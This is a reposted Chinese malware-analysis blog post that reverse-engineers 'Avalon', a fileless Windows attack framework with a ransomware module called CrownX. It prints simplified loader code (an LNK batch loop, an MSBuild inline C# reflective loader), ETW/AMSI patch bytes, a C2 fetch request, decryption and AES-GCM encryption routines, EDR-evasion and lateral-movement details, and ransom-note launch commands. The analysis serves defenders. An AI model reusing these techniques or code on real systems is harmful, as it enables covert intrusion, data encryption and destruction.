文章总结: 该文档首次公开曝光了名为Avalon的Windows全栈攻击框架,其具备高度模块化设计。核心亮点包括全程无文件落地执行、通过ETW/AMSI内存Patch致盲安全产品、在用户态复刻Windows加载器、集成多层EDR防御规避、优先攻击备份基础设施以实现可逆勒索及磁盘级摧毁。该框架展示了先进的对抗技术与工程化水平,对安全防御具有重要参考价值。 综合评分: 88 文章分类: 恶意软件,逆向分析,红队,免杀,漏洞分析
[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点
原创
suntiger suntiger
二进制空间安全
2026年7月7日 16:23 北京
在小说阅读器读本章
去阅读
将二进制空间安全设为”星标⭐️”
第一时间收到文章更新
框架概览
#
这款此前从未出现在公开情报中的恶意软件框架被称为Avalon, 它既不是某个已知家族的变种,也不是单纯的勒索病毒, 而是将凭证窃取、防御规避、C2通信、横向移动、反取证清理、CrownX勒索、删除卷影副本、破坏WinRE、磁盘级破坏等技术压缩进一个可复用的框架,具备较高的模块化产品设计特征。
亮点1:全程无文件落地,四层内存接力
Avalon最突出的工程特征,是从受害者双击诱饵PDF到框架上线,Avalon本体始终未以常规EXE/DLL形式落地,整个链条可以拆分成四个阶段:
| | | | | | — | — | — | — | | 层级 | 载体 | 进程上下文 | 关键技术 | | 阶段1 | .lnk快捷方式 | cmd.exe | 分段环境变量拼接+多盘符搜索 | | 阶段2 | zfighv.tmp | MSBuild.exe(微软签名) | CodeTaskFactory内联C#编译执行 | | 阶段3 | .NET托管DLL | MSBuild进程 | ETW/AMSI Patch → HTTPS → HMAC 解密 | | 阶段4 | Avalon原生PE | MSBuild进程 | Manual Mapping+线程池入口 |
这种技术会中断传统AV/EDR依赖的”可疑文件落地”和”新进程创建”两个重要行为特征。Avalon父进程为经过正规签名的MSBuild.exe,而子模块全部在内存中展开。
技术点1:LNK 启动器:环境变量拆分+盘符自适应
在一个实际的案例中,快捷方式Secure Document CA-283505.pdf.lnk启用cmd.exe /V:ON,这里开启了延迟环境变量扩展。延迟环境变量扩展是Windows命令提示符(cmd.exe)中的一项高级功能,主要用于解决批处理脚本在复杂逻辑(如循环、条件判断)中变量值无法实时更新的问题。它允许变量在执行时才被解析和替换,而不是在整行命令被读取时就提前展开。
这里Avalon将MSBuild路径、执行参数拆分成多个短变量,避免MSBuild.exe等关键字以连续字符串出现在LNK二进制中。同时硬编码C:到Z:盘符列表,搜索\Mimecast Secure File Logs\zfighv.tmp,适配ISO挂载后的任意驱动器号。
以下代码是LNK核心逻辑:
:: 这里做了简化还原 — 实际通过多个%变量%分段拼接for %%D in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do ( if exist "%%D:\Mimecast Secure File Logs\zfighv.tmp" ( copy "%%D:\Mimecast Secure File Logs\zfighv.tmp" "%TEMP%\ngen0cc9.dat" "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "%TEMP%\ngen0cc9.dat" /nologo /noconsolelogger del "%TEMP%\ngen0cc9.dat" ))
技术点2:MSBuild内联C#:签名工具里的编译器后门
zfighv.tmp本质是MSBuild XML项目,引用Microsoft.Build.Tasks.v4.0.dll,通过CodeTaskFactory在XML内直接嵌入C#源码,其中有一个名为_cyrbusnAC63Do主要完成三件事情:
1.运行时重建字符串,主要对抗静态扫描。
2.Base64编码 -> 解密 -> Assembly.Load(byte[])
3.反射调用_GnJwIhfBM._kP0LMYpk49P::_wBuO3mVJ()
在外层包裹了大量不透明算术条件和随机标识符, 用于增加逆向工程成本,但却不改变执行路径。关键代码如下:
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <UsingTask TaskName="_cyrbusnAC63Do" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll"> <Task> <Code Type="Class" Language="cs"> <![CDATA[ // Base64 解码 + 解密 → Assembly.Load byte[] asm = Decrypt(Convert.FromBase64String(blob)); Assembly.Load(asm) .GetType("_GnJwIhfBM._kP0LMYpk49P") .GetMethod("_wBuO3mVJ") .Invoke(null, null); ]]> </Code> </Task> </UsingTask> <Target Name="Build"><_cyrbusnAC63Do /></Target></Project>
亮点2:致盲安全产品+伪造CDN请求
在上面第二阶段的.NET加载器在发起任何HTTPS请求之前,会先对Windows安全遥测体系动刀,这是Avalon链路上第一个主动对抗环节。
技术点1:ETW/AMSI内存Patch
加载器解析以下API地址并写入3字节stub:
| | | | | — | — | — | | 目标函数 | Patch字节 | 汇编语义 | | EtwEventWrite 系列(6 个 entry) | 31 C0 C3 | xor eax,eax; ret | | NtTraceEvent | 同上 | 返回STATUS_SUCCESS | | AmsiScanBuffer | 配合VEH+线程上下文劫持 | 绕过脚本/内存扫描 |
Patch后, ETW事件管道和AMSI扫描表面上返回成功,实际上不再产生任何遥测,EDR在下载并加载下一阶段Payload的关键窗口完全失明。如下图:
技术点2:自研HMAC偏移密钥流+伪造CDN请求
Patch完成后,加载器通过System.Net.WebClient拉取Avalon最终PE。请求特征如下:
GET /cdn/static/c3587edc48c37656b29bcd3da9458eea/update HTTP/1.1Host: helloxcherry[.]comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...X-Edge-Cache: e3ec5926a167d6e3359f98cdfb7ac3b2cce97652843056505d02e6d2898573c6
在上面的请求中,Avalon刻意伪装成请求CDN静态资源目录结构,结合Chrome浏览器UA和X-Edge-Cache命名模仿CDN边缘缓存相关Header,来达到伪造CDN请求的目的。
由于Avalon设置了将证书校验回调替换为接受所有证书,因此即使C2使用无效/自签证书也能完成TLS握手。X-Edge-Cache作为活动级客户端指纹,服务端可区分合法客户端与普通扫描流量。
下面是一段解密算法,不是标准的AES/XOR,而是按偏移量派生密钥流,代码如下:
// 简化还原 — HMAC-SHA256 偏移密钥流for (long offset = 0; offset < ciphertext.Length; offset += 0x20){ byte[] blockKey = HMAC_SHA256(embeddedKey, BitConverter.GetBytes(offset)); // blockKey 为 32 字节,逐字节 XOR 解密当前 0x20 块 for (int i = 0; i < 0x20 && (offset + i) < ciphertext.Length; i++) plaintext[offset + i] = (byte)(ciphertext[offset + i] ^ blockKey[i]);}// 末尾 32 字节 HMAC tag 校验 — 失败则拒绝进入 Manual MappingVerifyHMAC(embeddedKey, ciphertext, capturedTag);
该加密流量无法凭抓包单独还原,静态分析MSBuild项目也只能看到外壳代码和加密数据块,看不到Avalon本体行为,这也是第二阶段设计最精妙的地方。
亮点3:在用户态复刻Windows Loader
解密后的Avalon没有调用LoadLibrary或CreateProcess,.NET加载器在用户态完整复刻了Windows映像加载器的全部步骤,流程如下图:
其大致步骤如下:
第一步:解析DOS Header -> e_lfanew ->验证”PE\0\0″签名。
第二步:读取
SizeOfImage/SizeOfHeaders/NumberOfSections/AddressOfEntryPoint。
第三步:VirtualAlloc分配RW内存,复制Headers + Sections。
第四步:遍历Base Relocation Table,应用IMAGE_REL_BASED_DIR64重定位。
第五步:遍历Import Directory:LoadLibrary(“ntdll.dll”)->GetProcAddress->写入IAT。
第六步:VirtualProtect按Section Characteristics设置RX/RW。
第七步:RtlAddFunctionTable(),注册x64异常处理/unwind info。
第八步:SetProcessValidCallTargets(),注册CFG合法间接跳转目标。
第九步:TpAllocWork(entryPoint)->TpPostWork->TpWaitForWork
如果TpAllocWork失败则降级:CreatThread->WaitForSingleObject->CloseHandle
上面的步骤中,第七步和第八步用到的技术在一般恶意软件中极为罕见,通常需要作者深入理解x64 SEH、Control Flow Guard与Windows10+安全机制的交互。Avalon作为首次曝光便集成该能力,是最值得研究者关注的细节之一。
加载完成后,Avalon的版本资源伪装成微软的WmiPrvSE.exe,进一步混淆进程审计,如下图:
亮点4:感知型EDR多层防御规避
Avalon的defense evasion不是一个Sleep()能概括的。Paylaod中集成了四层叠加规避体系,且Stage 2加载器和Stage 3框架各自独立实现ETW/AMSI干扰,即使Stage 2被检测,Stage 3 仍有第二道盲化。
| | | |
| — | — | — |
| 层级 | 手段 | 对抗目标 |
| 遥测层 | ETW 6 入口 + NtTraceEvent Patch;AMSI VEH 劫持 | EDR事件管道、内存扫描 |
| 调用层 | ntdll.dll干净副本映射;HalosGate / TartarusGate Direct Syscall | 用户态 API Hook |
| 行为层 | 返回地址/栈欺骗;Sleep期间线程挂起/恢复;CET感知 | 调用栈分析、时序检测 |
| 产品层 | 9家EDR专项分支逻辑 | 按已安装产品动态选路 |
产品层覆盖的安全产品清单如下:
Microsoft Defender · SentinelOne · CrowdStrike · SophosElastic Endpoint · FortiEDR · ESET · McAfee · Bitdefender
框架启动后会探测主机上实际运行的安全产品,动态选择syscall路径、sleep策略和hook绕过方案,这是典型的框架级设计,而非单点bypass脚本。
亮点5:先打备份,再加密,基础设施感知的横向移动
在使用Avalon框架的恶意软件在动手加密之前,Avalon的lateral movement子系统已经在做Recovery-Aware侦察,优先定位让你恢复不了的关键节点,而非随机扫内网。
Avalon内置主机分类逻辑,按角色优先级排序:
最高优先级: 域控制器、备份平台(Veeam/Acronis/NetApp/Synology)。
高优先级:虚拟化(vCenter/Hyper-V)、邮件/远程(Exchange/Citrix)。
中优先级:一般服务器,可写管理共享可达的工作站。
投递路径优先选择远程管理共享的高成功率目录:
\\<target>\C$\Windows\Temp\\<target>\C$\ProgramData\\<target>\C$\Users\Public\\<target>\ADMIN$\Temp
远程执行方式包括:DCOM延迟计划任务、即时计划任务、Token冒充计划任务、PsExec风格远程服务创建。如下图:
亮点6:CrownX——可运营的可逆勒索 + 磁盘级摧毁
Avalon内部勒索模块品牌CrownX贯穿加密逻辑、HTML 赎金模板、–decrypt参数和恢复工作流字符串,与框架名Avalon形成双层命名(内部编排&&对外勒索品牌)。
技术点1:AES-GCM加密引擎
CrownX没有使用Crypto++或OpenSSL,而是调用Windows原生BCrypt API,配置ChainingModeGCM:
// 简化还原 — CrownX 加密初始化BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);BCryptGenRandom(NULL, nonce, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);BCryptGenerateSymmetricKey(hAlg, &hKey, ...);BCryptEncrypt(hKey, mappedView, dataSize, &authInfo, nonce, 12, ciphertext, ..., &cbResult, 0);
文件I/O采用CreateFileMappingW + MapViewOfFile内存映射大文件,线程池并行分发加密任务;CreateFileTransactedW / MoveFileTransactedW保证加密+改名的原子性,减少中途崩溃导致文件半加密半明文的风险。
加密后扩展名统一改为.8hn2yc,文件末尾追加:
[加密数据] + [12-byte nonce] + [16-byte GCM auth tag] + [segment metadata]
metadata使CrownX在获得32-byte session key 后可完整解密还原:
技术点2:专打值钱目标而非常目标
CrownX扩展名列表覆盖工程、DevOps和虚拟化场景:
工程设计后缀名:.sldprt .sldasm .catpart .blend。
DevOps/IaC后缀名:.tfstate .dockerfile .ipynb .proto。
虚拟机磁盘后缀名:.vmdk .vhdx .vmem .qcow2 .avhdx
数据库:.sqlite .accdb .pgdata
技术点3:Recovery Warfare + 物理磁盘破坏
加密同时,Avalon系统性摧毁本地恢复能力:
| | | | | — | — | — | | 子系统 | API/路径 | 效果 | | VSS | Win32_ShadowCopy WMI + COM | 删除所有卷影副本 | | VSS服务 | 终止+注册表禁用+删除计划任务 | 阻止新快照 | | WinRE | C:\Recovery\WindowsRE\Winre.wim | 破坏恢复环境 | | System Restore | …\SystemRestore策略键 | 禁用系统还原 | | 物理磁盘 | \.\PhysicalDrive%d直接写入 | 破坏分区表/MBR |
CrownX的这种双轨并行操作:文件级 AES-GCM 加密(可赎金解密)+ 磁盘级结构破坏, 把受害者的recovery选项压到极限。
CrownX内置HTML模板,动态填充{encrypted_count}、{total_bytes}、{hostname}和倒计时涨价timer。启动方式准备多条fallback:
cmd.exe /c start "CrownX" "%NOTE_PATH%"mshta.exe "%NOTE_PATH%.html"rundll32.exe url.dll,FileProtocolHandler "%NOTE_PATH%.html"notepad.exe "%NOTE_PATH%.txt"
即使以SYSTEM运行、无交互桌面,通知也会暂存至下次用户登录再弹出。
攻击链全景:从一封钓鱼邮件到框架上线
以下是Avalon框架勒索软件的完整攻击链场景:
(全文完)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:二进制空间安全 suntiger suntiger《[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。




![[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点](/images/random/titlepic/11.jpg)




评论